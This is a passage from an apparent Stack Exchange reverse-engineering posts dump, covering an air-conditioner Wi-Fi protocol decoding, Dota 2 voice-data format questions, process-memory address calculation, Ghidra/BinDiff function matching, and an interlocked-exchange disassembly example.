║ ff    ║ 74010f ║&#xA;╚═════╩═════════╩══════════╩════════╩═══════╩════════╝&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;AC_ADD_SPI&#xA;&lt;pre&gt;&lt;code&gt;╔═════╦═════════╦══════════╦════════╦═══════╦════════╗&#xA;║     ║ command ║ register ║ length ║ value ║  end   ║&#xA;╠═════╬═════════╬══════════╬════════╬═══════╬════════╣&#xA;║ On  ║      06 ║       75 ║     01 ║ 0f    ║ 74010f ║&#xA;║ …   ║         ║          ║        ║       ║        ║&#xA;║ Off ║      06 ║       75 ║     01 ║ f0    ║ 74010f ║&#xA;╚═════╩═════════╩══════════╩════════╩═══════╩════════╝&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;AC_ADD_APMODE_END&#xA;&lt;pre&gt;&lt;code&gt;╔═══╦═════════╦══════════╦════════╦═══════╦═════╗&#xA;║   ║ command ║ register ║ length ║ value ║ end ║&#xA;╠═══╬═════════╬══════════╬════════╬═══════╬═════╣&#xA;║ … ║         ║          ║        ║       ║     ║&#xA;╚═══╩═════════╩══════════╩════════╩═══════╩═════╝&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;AC_ADD_STARTWPS&#xA;&lt;pre&gt;&lt;code&gt;╔════════╦═════════╦══════════╦════════╦═══════╦═════╗&#xA;║        ║ command ║ register ║ length ║ value ║ end ║&#xA;╠════════╬═════════╬══════════╬════════╬═══════╬═════╣&#xA;║ Direct ║ …       ║          ║        ║       ║     ║&#xA;║ …      ║         ║          ║        ║       ║     ║&#xA;╚════════╩═════════╩══════════╩════════╩═══════╩═════╝&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;AC_OUTDOOR_TEMP&#xA;&lt;pre&gt;&lt;code&gt;╔═══╦═════════╦══════════╦════════╦═══════╦═════╗&#xA;║   ║ command ║ register ║ length ║ value ║ end ║&#xA;╠═══╬═════════╬══════════╬════════╬═══════╬═════╣&#xA;║ … ║         ║          ║        ║       ║     ║&#xA;╚═══╩═════════╩══════════╩════════╩═══════╩═════╝&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;AC_COOL_CAPABILITY&#xA;&lt;pre&gt;&lt;code&gt;╔═══╦═════════╦══════════╦════════╦═══════╦═════╗&#xA;║   ║ command ║ register ║ length ║ value ║ end ║&#xA;╠═══╬═════════╬══════════╬════════╬═══════╬═════╣&#xA;║ … ║         ║          ║        ║       ║     ║&#xA;╚═══╩═════════╩══════════╩════════╩═══════╩═════╝&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;AC_WARM_CAPABILITY&#xA;&lt;pre&gt;&lt;code&gt;╔═══╦═════════╦══════════╦════════╦═══════╦═════╗&#xA;║   ║ command ║ register ║ length ║ value ║ end ║&#xA;╠═══╬═════════╬══════════╬════════╬═══════╬═════╣&#xA;║ … ║         ║          ║        ║       ║     ║&#xA;╚═══╩═════════╩══════════╩════════╩═══════╩═════╝&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;AC_ADD2_USEDWATT&#xA;&lt;pre&gt;&lt;code&gt;╔═══╦═════════╦══════════╦════════╦═══════╦═════╗&#xA;║   ║ command ║ register ║ length ║ value ║ end ║&#xA;╠═══╬═════════╬══════════╬════════╬═══════╬═════╣&#xA;║ … ║         ║          ║        ║       ║     ║&#xA;╚═══╩═════════╩══════════╩════════╩═══════╩═════╝&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;AC_ADD2_VERSION&#xA;&lt;pre&gt;&lt;code&gt;╔═══╦═════════╦══════════╦════════╦═══════╦═════╗&#xA;║   ║ command ║ register ║ length ║ value ║ end ║&#xA;╠═══╬═════════╬══════════╬════════╬═══════╬═════╣&#xA;║ … ║         ║          ║        ║       ║     ║&#xA;╚═══╩═════════╩══════════╩════════╩═══════╩═════╝&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;&lt;code&gt;1402&lt;/code&gt; Commands&lt;/h3&gt;&#xA;&lt;p&gt;When message received, Wifi module also respond:&lt;/p&gt;&#xA;&lt;p&gt;-&amp;gt; &lt;code&gt;1404 0c1701 15180105190127fd0102&lt;/code&gt;&#xA;-&amp;gt; &lt;code&gt;1404 12fa01 f8fb0104fc012ef701d8f8013ef901a0&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;╔═════════════════════════╦═════════╦══════════╦════════╦═══════════╗&#xA;║                         ║ command ║ register ║ length ║  comment  ║&#xA;╠═════════════════════════╬═════════╬══════════╬════════╬═══════════╣&#xA;║ Multi_valued            ║      16 ║          ║        ║           ║&#xA;║ AC_ADD2_USEDWATT        ║         ║ 32       ║     00 ║ ?         ║&#xA;║ AC_ADD2_VERSION         ║         ║ f6       ║     00 ║ Confirmed ║&#xA;║ AC_ADD2_PANEL_VERSION   ║         ║ f4       ║     00 ║ ?         ║&#xA;║ AC_ADD2_OUT_VERSION     ║         ║ f3       ║     00 ║ ?         ║&#xA;║ AC_FUN_MODEL            ║         ║ f5       ║     00 ║ ?         ║&#xA;║ AC_ADD2_OPTIONCODE      ║         ║ 39       ║     00 ║ ?         ║&#xA;║ AC_ADD2_USEDPOWER       ║         ║ e0       ║     00 ║ ?         ║&#xA;║ AC_ADD2_USEDTIME        ║         ║ e4       ║     00 ║ ?         ║&#xA;║ AC_ADD2_CLEAR_POWERTIME ║         ║ e8       ║     00 ║ ?         ║&#xA;║ AC_ADD2_FILTERTIME      ║         ║ e9       ║     00 ║ ?         ║&#xA;║ AC_ADD2_FILTER_USE_TIME ║         ║ e6       ║     00 ║ ?         ║&#xA;╚═════════════════════════╩═════════╩══════════╩════════╩═══════════╝&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;&lt;code&gt;1403&lt;/code&gt; Commands&lt;/h3&gt;&#xA;&lt;p&gt;From AC to Wifi. When message received, Wifi module also respond:&lt;/p&gt;&#xA;&lt;p&gt;-&amp;gt; &lt;code&gt;1404 0c 170115180105190127fd0102&lt;/code&gt; (Not decoded yet)&lt;/p&gt;&#xA;&lt;p&gt;-&amp;gt; &lt;code&gt;1404 12 fa01f8fb0104fc012ef701d8f8013ef901a0&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;╔═════════════════════════╦═════════╦══════════╦════════╦══════════╦═════════════════════════════════════╗&#xA;║                         ║ command ║ register ║ length ║  value   ║               comment               ║&#xA;╠═════════════════════════╬═════════╬══════════╬════════╬══════════╬═════════════════════════════════════╣&#xA;║ Multi_valued            ║ 2d      ║          ║        ║          ║                                     ║&#xA;║ AC_ADD2_USEDWATT        ║         ║ 32       ║     01 ║ fe       ║                                     ║&#xA;║ AC_ADD2_VERSION         ║         ║ f6       ║     01 ║ fe       ║                                     ║&#xA;║ AC_ADD2_PANEL_VERSION   ║         ║ f4       ║     03 ║ 150224   ║ (Raw value in XML)                  ║&#xA;║ AC_ADD2_OUT_VERSION     ║         ║ f3       ║     03 ║ 130709   ║ (Raw value in XML)                  ║&#xA;║ AC_FUN_MODEL            ║         ║ f5       ║     01 ║ 05       ║                                     ║&#xA;║ AC_ADD2_OPTIONCODE      ║         ║ 39       ║     02 ║ d0b8     ║                                     ║&#xA;║ AC_ADD2_USEDPOWER       ║         ║ e0       ║     04 ║ 0000e635 ║                                     ║&#xA;║ AC_ADD2_USEDTIME        ║         ║ e4       ║     04 ║ 00040dcb ║                                     ║&#xA;║ AC_ADD2_CLEAR_POWERTIME ║         ║ e8       ║     01 ║ fe       ║                                     ║&#xA;║ AC_ADD2_FILTERTIME      ║         ║ e9       ║     01 ║ 03       ║ (00:00 01:180 02:300 03:500 04:700) ║&#xA;║ AC_ADD2_FILTER_USE_TIME ║         ║ e6       ║     02 ║ 2710     ║                                     ║&#xA;╚═════════════════════════╩═════════╩══════════╩════════╩══════════╩═════════════════════════════════════╝&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;&lt;code&gt;1404&lt;/code&gt; Commands&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;03&lt;/code&gt; Notify&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;06&lt;/code&gt; Set Integer&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0c&lt;/code&gt; Set Multi values&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;12&lt;/code&gt; Set Multi values&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;AC_SG_WIFI&#xA;&lt;pre&gt;&lt;code&gt;╔═════╦═════════╦══════════╦════════╦═══════╦═════╗&#xA;║     ║ command ║ register ║ length ║ value ║ end ║&#xA;╠═════╬═════════╬══════════╬════════╬═══════╬═════╣&#xA;║ On  ║      03 ║       37 ║     01 ║ 0f    ║     ║&#xA;║ Off ║      03 ║       37 ║     01 ║ f0    ║     ║&#xA;╚═════╩═════════╩══════════╩════════╩═══════╩═════╝&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;AC_SG_INTERNET&#xA;&lt;pre&gt;&lt;code&gt;╔═════╦═════════╦══════════╦════════╦═══════╦═════╗&#xA;║     ║ command ║ register ║ length ║ value ║ end ║&#xA;╠═════╬═════════╬══════════╬════════╬═══════╬═════╣&#xA;║ On  ║      03 ║       38 ║     01 ║ 0f    ║     ║&#xA;║ Off ║      03 ║       38 ║     01 ║ f0    ║     ║&#xA;╚═════╩═════════╩══════════╩════════╩═══════╩═════╝&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;AC_ADD2_FILTERTIME&#xA;&lt;pre&gt;&lt;code&gt;╔═════╦═════════╦══════════╦════════╦═══════╦════════╗&#xA;║     ║ command ║ register ║ length ║ value ║  end   ║&#xA;╠═════╬═════════╬══════════╬════════╬═══════╬════════╣&#xA;║   0 ║      06 ║ e9       ║     01 ║    00 ║ 74010f ║&#xA;║ 180 ║      06 ║ e9       ║     01 ║    01 ║ 74010f ║&#xA;║ 300 ║      06 ║ e9       ║     01 ║    02 ║ 74010f ║&#xA;║ 500 ║      06 ║ e9       ║     01 ║    03 ║ 74010f ║&#xA;║ 700 ║      06 ║ e9       ║     01 ║    04 ║ 74010f ║&#xA;╚═════╩═════════╩══════════╩════════╩═══════╩════════╝&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;code&gt;0c&lt;/code&gt;&#xA;&lt;pre&gt;&lt;code&gt;╔══════════════╦═════════╦══════════╦════════╦═══════╗&#xA;║              ║ command ║ register ║ length ║ value ║&#xA;╠══════════════╬═════════╬══════════╬════════╬═══════╣&#xA;║ Multi_valued ║ 0c      ║          ║        ║       ║&#xA;║ ?            ║         ║ 17       ║     01 ║    15 ║&#xA;║ ?            ║         ║ 18       ║     01 ║    05 ║&#xA;║ ?            ║         ║ 19       ║     01 ║    27 ║&#xA;║ ?            ║         ║ fd       ║     01 ║    02 ║&#xA;╚══════════════╩═════════╩══════════╩════════╩═══════╝&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;code&gt;12&lt;/code&gt;&#xA;&lt;pre&gt;&lt;code&gt;╔════════════════╦═════════╦══════════╦════════╦═══════╗&#xA;║                ║ command ║ register ║ length ║ value ║&#xA;╠════════════════╬═════════╬══════════╬════════╬═══════╣&#xA;║ Multi_valued   ║      12 ║          ║        ║       ║&#xA;║ AC_SG_VENDER01 ║         ║ fa       ║     01 ║ f8    ║&#xA;║ AC_SG_VENDER02 ║         ║ fb       ║     01 ║ 04    ║&#xA;║ AC_SG_VENDER03 ║         ║ fc       ║     01 ║ 2e    ║&#xA;║ AC_SG_MACHIGH  ║         ║ f7       ║     01 ║ d8    ║&#xA;║ AC_SG_MACMID   ║         ║ f8       ║     01 ║ 3e    ║&#xA;║ AC_SG_MACLOW   ║         ║ f9       ║     01 ║ a0    ║&#xA;╚════════════════╩═════════╩══════════╩════════╩═══════╝&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="34279" LastActivityDate="2020-09-02T10:00:11.710" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25800" PostTypeId="1" CreationDate="2020-09-02T13:38:22.883" Score="3" ViewCount="1275" Body="&lt;p&gt;I am trying to get the commentary (casters voice) from a dota2 game file. I've managed to parse the game file and select what I believe is the voice data. This is in a weird format (CSVCMsg_VoiceData) which has the following struc:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;type CSVCMsg_VoiceData struct {&#xA;Client                   *int32            `protobuf:&amp;quot;varint,1,opt,name=client&amp;quot; json:&amp;quot;client,omitempty&amp;quot;`&#xA;Proximity                *bool             `protobuf:&amp;quot;varint,2,opt,name=proximity&amp;quot; json:&amp;quot;proximity,omitempty&amp;quot;`&#xA;Xuid                     *uint64           `protobuf:&amp;quot;fixed64,3,opt,name=xuid&amp;quot; json:&amp;quot;xuid,omitempty&amp;quot;`&#xA;AudibleMask              *int32            `protobuf:&amp;quot;varint,4,opt,name=audible_mask&amp;quot; json:&amp;quot;audible_mask,omitempty&amp;quot;`&#xA;VoiceData                []byte            `protobuf:&amp;quot;bytes,5,opt,name=voice_data&amp;quot; json:&amp;quot;voice_data,omitempty&amp;quot;`&#xA;Caster                   *bool             `protobuf:&amp;quot;varint,6,opt,name=caster&amp;quot; json:&amp;quot;caster,omitempty&amp;quot;`&#xA;Format                   *VoiceDataFormatT `protobuf:&amp;quot;varint,7,opt,name=format,enum=VoiceDataFormatT,def=1&amp;quot; json:&amp;quot;format,omitempty&amp;quot;`&#xA;SequenceBytes            *int32            `protobuf:&amp;quot;varint,8,opt,name=sequence_bytes&amp;quot; json:&amp;quot;sequence_bytes,omitempty&amp;quot;`&#xA;SectionNumber            *uint32           `protobuf:&amp;quot;varint,9,opt,name=section_number&amp;quot; json:&amp;quot;section_number,omitempty&amp;quot;`&#xA;UncompressedSampleOffset *uint32           `protobuf:&amp;quot;varint,10,opt,name=uncompressed_sample_offset&amp;quot; json:&amp;quot;uncompressed_sample_offset,omitempty&amp;quot;`&#xA;XXX_unrecognized         []byte            `json:&amp;quot;-&amp;quot;`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&lt;p&gt;This seems to work when reading the data. Logically I'm probably looking for the VoiceData part of the struct when given this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;&amp;quot;format&amp;quot;:0,&amp;quot;voice_data&amp;quot;:&amp;quot;uz+ACgEAEAELgD4EQgEWAKV4mxnepfmhxKCQxAnKVNaHhKRXPIsmAH5RjXmJV0u+WTmrvgyCKxcraehjo/ZeKcFjksXQZEeOju4hLNv/MAB9KA7ww14Vc0ndYPB7dDXoXTexuxcW0Jg/diMgdH5ijWhe02Ch48KX86qJZYFyZV81AH76qCgh9AXliMdyWEgWTMbRD6xMX37WJALrXlSnxymIloSq2KGwXCcMXzQiSQIrcLVNfqdNJACCluFOIRKPmugUvsLZmnD04X0xhpAuNkwJECK4t51MBOWNWJlCAIDyZlJwWI45EPTjBB6yKyGOclu96qBV2MhFAh1d2J7WDZwe6YxOVu/BGkGcur9qTP85ZRfjANoiQxQrWvpoHFBFBy0AfX6k8XvbSwrk2nUAEP3P6kcmXORKUNKeu8HDnOUflQqtA5AkkTiun77fZrqnimIfWg==&amp;quot;,&amp;quot;sequence_bytes&amp;quot;:23598094,&amp;quot;section_number&amp;quot;:1,&amp;quot;sample_rate&amp;quot;:16000&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;I'm able to pull the voice data out like so:&#xA;&lt;em&gt;uz+ACgEAEAELgD4EQgEWAKV4mxnepfmhxKCQxAnKVNaHhKRXPIsmAH5RjXmJV0u+WTmrvgyCKxcraehjo/ZeKcFjksXQZEeOju4hLNv/MAB9KA7ww14Vc0ndYPB7dDXoXTexuxcW0Jg/diMgdH5ijWhe02Ch48KX86qJZYFyZV81AH76qCgh9AXliMdyWEgWTMbRD6xMX37WJALrXlSnxymIloSq2KGwXCcMXzQiSQIrcLVNfqdNJACCluFOIRKPmugUvsLZmnD04X0xhpAuNkwJECK4t51MBOWNWJlCAIDyZlJwWI45EPTjBB6yKyGOclu96qBV2MhFAh1d2J7WDZwe6YxOVu/BGkGcur9qTP85ZRfjANoiQxQrWvpoHFBFBy0AfX6k8XvbSwrk2nUAEP3P6kcmXORKUNKeu8HDnOUflQqtA5AkkTiun77fZrqnimIfWg==&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;However this is where I'm hitting a bit of a wall. This data is in an unknown format. I've tried to do some research on what the format might be and I've found that steam started using SILK codec for voice data in 2011 - however when trying to write this data to file and open it with opus (which I believe supports SILK) the opus decoder tells me it can't open the file - so I'm not 100% convinced it is silk codec. Recognising audio data isn't something I have a great deal of experience with - so any advice would be great.&lt;/p&gt;&#xA;&lt;p&gt;I have noticed there's a VoiceDataFormatT part of the struct but the only definition I can find for it is this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;type VoiceDataFormatT int32&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Which doesn't seem too helpful! :/&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;EDIT 1:&lt;/strong&gt;&lt;/em&gt;&#xA;As per advice from user Ian Cook I've decoded the data from base64 into the following (as hex dump):&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;BB 3F 80 0A 01 00 10 01 0B 80 3E 04 42 01 16 00 A5 78 9B 19 DE A5 F9 A1 C4 A0 90 C4 09 CA 54 D6 87 84 A4 57 3C 8B 26 00 7E 51 8D 79 89 57 4B BE 59 39 AB BE 0C 82 2B 17 2B 69 E8 63 A3 F6 5E 29 C1 63 92 C5 D0 64 47 8E 8E EE 21 2C DB FF 30 00 7D 28 0E F0 C3 5E 15 73 49 DD 60 F0 7B 74 35 E8 5D 37 B1 BB 17 16 D0 98 3F 76 23 20 74 7E 62 8D 68 5E D3 60 A1 E3 C2 97 F3 AA 89 65 81 72 65 5F 35 00 7E FA A8 28 21 F4 05 E5 88 C7 72 58 48 16 4C C6 D1 0F AC 4C 5F 7E D6 24 02 EB 5E 54 A7 C7 29 88 96 84 AA D8 A1 B0 5C 27 0C 5F 34 22 49 02 2B 70 B5 4D 7E A7 4D 24 00 82 96 E1 4E 21 12 8F 9A E8 14 BE C2 D9 9A 70 F4 E1 7D 31 86 90 2E 36 4C 09 10 22 B8 B7 9D 4C 04 E5 8D 58 99 42 00 80 F2 66 52 70 58 8E 39 10 F4 E3 04 1E B2 2B 21 8E 72 5B BD EA A0 55 D8 C8 45 02 1D 5D D8 9E D6 0D 9C 1E E9 8C 4E 56 EF C1 1A 41 9C BA BF 6A 4C FF 39 65 17 E3 00 DA 22 43 14 2B 5A FA 68 1C 50 45 07 2D 00 7D 7E A4 F1 7B DB 4B 0A E4 DA 75 00 10 FD CF EA 47 26 5C E4 4A 50 D2 9E BB C1 C3 9C E5 1F 95 0A AD 03 90 24 91 38 AE 9F BE DF 66 BA A7 8A 62 1F 5A&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;I'm still at a loss as to what this information is - I've tried converting it to a wav file using ffmpeg (assuming is pcm) but it still comes out as white noise.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;EDIT 2:&lt;/strong&gt;&lt;/em&gt;&#xA;So it's occurred to me that it might help if I include more samples of the data - the decoded hex of the data can be found here (each sample separated by a new line character):&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://pastebin.pl/view/dc2cd332&quot; rel=&quot;nofollow noreferrer&quot;&gt;pastebin&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I've noticed that each one seems to start with the following hex:&lt;/p&gt;&#xA;&lt;p&gt;BB 3F 80 0A 01 00 10 01 0B 80 3E 04&lt;/p&gt;&#xA;&lt;p&gt;Which translates to:&lt;/p&gt;&#xA;&lt;p&gt;»?€&#xA;�€&amp;gt;&lt;/p&gt;&#xA;&lt;p&gt;I'm still at a loss as to how to convert this to audio data.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;EDIT 3:&lt;/strong&gt;&lt;/em&gt;&#xA;I've uploaded some more datadumps to the following pastebin (&lt;a href=&quot;https://pastebin.com/s0DjAyjb&quot; rel=&quot;nofollow noreferrer&quot;&gt;More data&lt;/a&gt;), it's not a full dump as it's roughly 15mb and pastebin crashed when I was trying to paste!&lt;/p&gt;&#xA;&lt;p&gt;The data file is a dota2 demo file (extension .dem) which is a collection of protobuf messages that I parse using GoLang and the Manta replay parse (&lt;a href=&quot;https://github.com/dotabuff/manta&quot; rel=&quot;nofollow noreferrer&quot;&gt;found here&lt;/a&gt;). This allows me to pull out any type of message, and I select OnCSVCMsg_VoiceData, which returns m.Audio.VoiceData of the form: CSVCMsg_VoiceData (the struct I display above).&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;EDIT 4&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here's (finally) the link to the file with the &lt;a href=&quot;https://drive.google.com/file/d/1jEJO0xmRd28K8NXdPwgpeszQkalcexsb/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;concatenated voiceData messages&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;And here's the link to the &lt;a href=&quot;https://drive.google.com/file/d/1mTi72fZD4o6EwBUhwQrsWbUmhZY0HeOT/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;original file of protobuff&lt;/a&gt; messages&lt;/p&gt;&#xA;" OwnerUserId="27465" LastEditorUserId="27465" LastEditDate="2020-09-26T20:09:45.333" LastActivityDate="2023-03-08T05:21:28.867" Title="Turning an unknown audio data stream into wav or similar format" Tags="|decryption|" AnswerCount="2" CommentCount="14" ContentLicense="CC BY-SA 4.0" />
  <row Id="25801" PostTypeId="1" CreationDate="2020-09-02T18:31:29.760" Score="0" ViewCount="242" Body="&lt;p&gt;There is variable in data section:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.data:00427000 dword_427000    dd 64h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Base address of code is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.text:00411000 ; Segment type: Pure code&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How to calculate actual address and location in memory of this variable, for to usage with C++ OpenProcess and ReadProcessMemory?&lt;/p&gt;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="33371" LastActivityDate="2020-09-03T14:01:57.640" Title="Variable location address" Tags="|c++|disassemblers|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25803" PostTypeId="1" CreationDate="2020-09-03T05:51:03.210" Score="1" ViewCount="515" Body="&lt;p&gt;So this is a question not strictly about reverse engineering, but since there are many people using Ghidra and Bindiff here I'll try asking anyway.&lt;/p&gt;&#xA;&lt;p&gt;I have an embedded ARM cortex-M C++ project and I want to compare the generated ELF file for two different compilers.&lt;/p&gt;&#xA;&lt;p&gt;I used these instructions for exported data from Ghidra to Bindiff: &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/24636/34300&quot;&gt;https://reverseengineering.stackexchange.com/a/24636/34300&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I built the ELF files with debuginfo. I was hoping that Ghidra and Bindiff would use the debuginfo for identifying functions, but it looks like that's not the case. For roughly 100 out of 700 functions the tools were not able to match the old and new functions.&lt;/p&gt;&#xA;&lt;p&gt;I did some experiments on my own where I wrote some simple implementations for strcat and strcpy and then switched names, but then Ghidra and Bindiff was able to see that the assembly has changed, i.e. it did not just try to match functions based on the content. So it's not the case that Ghidra + Bindiff always ignores the function names.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/CihTC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CihTC.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Is what I'm seeing the expected behavior? That Bindiff does uses its own heuristics rather than trusting the debuginfo when finding functions for comparisons?&lt;/p&gt;&#xA;&lt;p&gt;If so: Is there a way to force Ghidra and Bindiff to trust the dwarf information when finding functions?&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: The Bindiff manual lists a number of algorithms that are used for function matching. There is a configuration files .bindiff/bindiff.xml where you can modify the confidence levels between 0.0 and 1.0.&#xA;It looks like name hash matching is what I want and that I probably want to lower confidence in the other algorithms.&lt;/p&gt;&#xA;&lt;p&gt;Though I guess just looking at each function in isolation is kind of naive given that compilers can change their inline choices between releases:&lt;/p&gt;&#xA;" OwnerUserId="34300" LastEditorUserId="34300" LastEditDate="2020-09-03T06:43:21.280" LastActivityDate="2020-09-03T06:43:21.280" Title="Compare ELF files using Ghidra+Bindiff based on dwarf debug info" Tags="|ghidra|bin-diffing|tool-bindiff|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25804" PostTypeId="2" ParentId="25794" CreationDate="2020-09-03T10:59:01.163" Score="1" Body="&lt;p&gt;here is the sample code that will show both the constructs if there is an atomic exchange  requirement you use the api or intrinsc provided&#xA;else simply assign&lt;/p&gt;&#xA;&lt;p&gt;source&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;#include &amp;lt;intrin.h&amp;gt;&#xA;&#xA;long tmp[10] = {NULL};&#xA;long *m_someMemoryPool[10] ={NULL};&#xA;&#xA;&#xA;int main (void) {&#xA;    tmp[0] = 0xbee5deed;&#xA;    long foo =0xbee5dead;&#xA;    m_someMemoryPool[0] = &amp;amp;tmp[0];&#xA;    printf(&amp;quot;%p = %x\n&amp;quot; , m_someMemoryPool[0] , *(int *)(m_someMemoryPool[0]));&#xA;    _InterlockedExchange( m_someMemoryPool[0], foo);&#xA;    printf(&amp;quot;%p = %x\n&amp;quot; , m_someMemoryPool[0] , *(int *)(m_someMemoryPool[0]));&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;compiled with   vs2017 community as x86 with&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;cl /Zi /W4 /O1 /EHsc /analyze /nologo xchg.cpp /link /release&#xA;xchg.cpp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;executed&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;xchg.exe&#xA;013499D0 = bee5deed&#xA;013499D0 = bee5dead&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;disassembled&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;cdb -c &amp;quot;uf xchg!main;q&amp;quot; xchg.exe | awk &amp;quot;/Reading/,/quit/&amp;quot;&#xA;0:000&amp;gt; cdb: Reading initial command 'uf xchg!main;q'&#xA;xchg!main:&#xA;01301029 56              push    esi&#xA;0130102a b9eddee5be      mov     ecx,0BEE5DEEDh    &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;0130102f b8d0993401      mov     eax,offset xchg!tmp (013499d0)&#xA;01301034 51              push    ecx&#xA;01301035 50              push    eax&#xA;01301036 be90013401      mov     esi,offset xchg!`string' (01340190)&#xA;0130103b 890dd0993401    mov     dword ptr [xchg!tmp (013499d0)],ecx&#xA;01301041 56              push    esi&#xA;01301042 a3f8993401      mov     dword ptr [xchg!m_someMemoryPool (013499f8)],eax&#xA;01301047 e821000000      call    xchg!printf (0130106d)&#xA;0130104c a1f8993401      mov     eax,dword ptr [xchg!m_someMemoryPool (013499f8)]&#xA;01301051 b9addee5be      mov     ecx,0BEE5DEADh&#xA;01301056 8708            xchg    ecx,dword ptr [eax]  &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;01301058 a1f8993401      mov     eax,dword ptr [xchg!m_someMemoryPool (013499f8)]&#xA;0130105d ff30            push    dword ptr [eax]&#xA;0130105f 50              push    eax&#xA;01301060 56              push    esi&#xA;01301061 e807000000      call    xchg!printf (0130106d)&#xA;01301066 83c418          add     esp,18h&#xA;01301069 33c0            xor     eax,eax&#xA;0130106b 5e              pop     esi&#xA;0130106c c3              ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-09-03T10:59:01.163" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25805" PostTypeId="2" ParentId="25801" CreationDate="2020-09-03T14:01:57.640" Score="1" Body="&lt;p&gt;If the ASLR isn't enabled for the module, and it's loaded at the address of 0x400000 this is as simply as&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;DWORD address = 0x427000;&#xA;ReadProcessMemory(handle, (void*)address, &amp;amp;value, sizeof(value), NULL);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However if the ASLR is enabled (or the process just isn't mapped to memory starting at 0x400000) you need to get base address of the module. I assume you aren't part of the process (because you want to use &lt;code&gt;ReadProcessMemory&lt;/code&gt;) therefore you can't call &lt;code&gt;GetModuleHandle&lt;/code&gt;, because the function allows to obtain the handle only for modules loaded in the calling process.&lt;/p&gt;&#xA;&lt;p&gt;The easiest way to get external process module base that comes to my mind is via the 